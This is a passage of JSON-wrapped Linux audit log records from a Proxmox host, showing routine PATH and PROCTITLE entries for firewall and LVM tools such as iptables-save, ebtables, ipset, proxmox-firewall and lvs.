cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.404:67527): proctitle=\"ip6tables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PATH msg=audit(1781965789.298:67111): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.396:67526): proctitle=\"iptables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PATH msg=audit(1781965789.298:67110): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.392:67525): proctitle=\"ebtables-restore\""} {"@timestamp":1781965786724,"@rawstring":"node=pve type=PATH msg=audit(1781965786.724:67109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.390:67524): proctitle=\"ebtables-restore\""} {"@timestamp":1781965786724,"@rawstring":"node=pve type=PATH msg=audit(1781965786.724:67109): item=0 name=\"/usr/bin/rm\" inode=260891 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.384:67523): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965785768,"@rawstring":"node=pve type=PATH msg=audit(1781965785.768:67108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.378:67522): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965785768,"@rawstring":"node=pve type=PATH msg=audit(1781965785.768:67108): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.372:67521): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965785765,"@rawstring":"node=pve type=PATH msg=audit(1781965785.765:67107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.365:67520): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965785765,"@rawstring":"node=pve type=PATH msg=audit(1781965785.765:67107): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.359:67519): proctitle=697073657400726573746F7265"} {"@timestamp":1781965785764,"@rawstring":"node=pve type=PATH msg=audit(1781965785.764:67106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.352:67518): proctitle=\"ip6tables-save\""} {"@timestamp":1781965785764,"@rawstring":"node=pve type=PATH msg=audit(1781965785.764:67106): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.345:67517): proctitle=\"iptables-save\""} {"@timestamp":1781965785764,"@rawstring":"node=pve type=PATH msg=audit(1781965785.764:67105): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.341:67516): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965785760,"@rawstring":"node=pve type=PATH msg=audit(1781965785.760:67104): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885338,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.338:67515): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965785760,"@rawstring":"node=pve type=PATH msg=audit(1781965785.760:67104): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.337:67514): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785760,"@rawstring":"node=pve type=PATH msg=audit(1781965785.760:67104): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.337:67513): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785751,"@rawstring":"node=pve type=PATH msg=audit(1781965785.751:67103): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.333:67512): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785751,"@rawstring":"node=pve type=PATH msg=audit(1781965785.751:67103): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.324:67511): proctitle=\"ip6tables-save\""} {"@timestamp":1781965785742,"@rawstring":"node=pve type=PATH msg=audit(1781965785.742:67102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.317:67510): proctitle=\"iptables-save\""} {"@timestamp":1781965785742,"@rawstring":"node=pve type=PATH msg=audit(1781965785.742:67102): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.312:67509): proctitle=69707365740073617665"} {"@timestamp":1781965785732,"@rawstring":"node=pve type=PATH msg=audit(1781965785.732:67101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.303:67508): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965785732,"@rawstring":"node=pve type=PATH msg=audit(1781965785.732:67101): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.292:67507): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965785723,"@rawstring":"node=pve type=PATH msg=audit(1781965785.723:67100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.649:67506): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785723,"@rawstring":"node=pve type=PATH msg=audit(1781965785.723:67100): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.649:67505): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785714,"@rawstring":"node=pve type=PATH msg=audit(1781965785.714:67098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.649:67504): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785714,"@rawstring":"node=pve type=PATH msg=audit(1781965785.714:67098): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.641:67503): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965785705,"@rawstring":"node=pve type=PATH msg=audit(1781965785.705:67097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.641:67502): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785705,"@rawstring":"node=pve type=PATH msg=audit(1781965785.705:67097): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.641:67501): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785696,"@rawstring":"node=pve type=PATH msg=audit(1781965785.696:67096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.641:67500): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785696,"@rawstring":"node=pve type=PATH msg=audit(1781965785.696:67096): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965884604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965884.604:67499): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965785687,"@rawstring":"node=pve type=PATH msg=audit(1781965785.687:67095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.634:67498): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785687,"@rawstring":"node=pve type=PATH msg=audit(1781965785.687:67095): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.634:67497): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785676,"@rawstring":"node=pve type=PATH msg=audit(1781965785.676:67094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.634:67496): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785676,"@rawstring":"node=pve type=PATH msg=audit(1781965785.676:67094): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.628:67495): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785667,"@rawstring":"node=pve type=PATH msg=audit(1781965785.667:67093): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.628:67494): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785667,"@rawstring":"node=pve type=PATH msg=audit(1781965785.667:67093): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965879628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965879.628:67493): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965785654,"@rawstring":"node=pve type=PATH msg=audit(1781965785.654:67092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.281:67492): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965785654,"@rawstring":"node=pve type=PATH msg=audit(1781965785.654:67092): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.277:67491): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965785642,"@rawstring":"node=pve type=PATH msg=audit(1781965785.642:67091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.276:67490): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785642,"@rawstring":"node=pve type=PATH msg=audit(1781965785.642:67091): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.276:67489): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785635,"@rawstring":"node=pve type=PATH msg=audit(1781965785.635:67090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.271:67488): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785635,"@rawstring":"node=pve type=PATH msg=audit(1781965785.635:67090): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.264:67487): proctitle=\"ip6tables-save\""} {"@timestamp":1781965785624,"@rawstring":"node=pve type=PATH msg=audit(1781965785.624:67089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.255:67486): proctitle=\"iptables-save\""} {"@timestamp":1781965785624,"@rawstring":"node=pve type=PATH msg=audit(1781965785.624:67089): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.248:67485): proctitle=\"ip6tables-save\""} {"@timestamp":1781965785623,"@rawstring":"node=pve type=PATH msg=audit(1781965785.623:67088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.241:67484): proctitle=\"iptables-save\""} {"@timestamp":1781965785623,"@rawstring":"node=pve type=PATH msg=audit(1781965785.623:67088): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.238:67483): proctitle=\"ebtables-restore\""} {"@timestamp":1781965785623,"@rawstring":"node=pve type=PATH msg=audit(1781965785.623:67087): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.235:67482): proctitle=\"ebtables-restore\""} {"@timestamp":1781965785618,"@rawstring":"node=pve type=PATH msg=audit(1781965785.618:67086): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.230:67481): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965785618,"@rawstring":"node=pve type=PATH msg=audit(1781965785.618:67086): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.222:67480): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965785618,"@rawstring":"node=pve type=PATH msg=audit(1781965785.618:67086): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.217:67479): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965785610,"@rawstring":"node=pve type=PATH msg=audit(1781965785.610:67085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875211,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.211:67478): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965785610,"@rawstring":"node=pve type=PATH msg=audit(1781965785.610:67085): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.204:67477): proctitle=697073657400726573746F7265"} {"@timestamp":1781965785601,"@rawstring":"node=pve type=PATH msg=audit(1781965785.601:67084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.197:67476): proctitle=\"ip6tables-save\""} {"@timestamp":1781965785601,"@rawstring":"node=pve type=PATH msg=audit(1781965785.601:67084): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.189:67475): proctitle=\"iptables-save\""} {"@timestamp":1781965785593,"@rawstring":"node=pve type=PATH msg=audit(1781965785.593:67083): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.184:67474): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965785593,"@rawstring":"node=pve type=PATH msg=audit(1781965785.593:67083): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.181:67473): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965785582,"@rawstring":"node=pve type=PATH msg=audit(1781965785.582:67082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.181:67472): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785582,"@rawstring":"node=pve type=PATH msg=audit(1781965785.582:67082): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.181:67471): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785565,"@rawstring":"node=pve type=PATH msg=audit(1781965785.565:67081): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.176:67470): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965785565,"@rawstring":"node=pve type=PATH msg=audit(1781965785.565:67081): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.168:67469): proctitle=\"ip6tables-save\""} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PATH msg=audit(1781965784.289:67080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.158:67468): proctitle=\"iptables-save\""} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PATH msg=audit(1781965784.289:67080): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 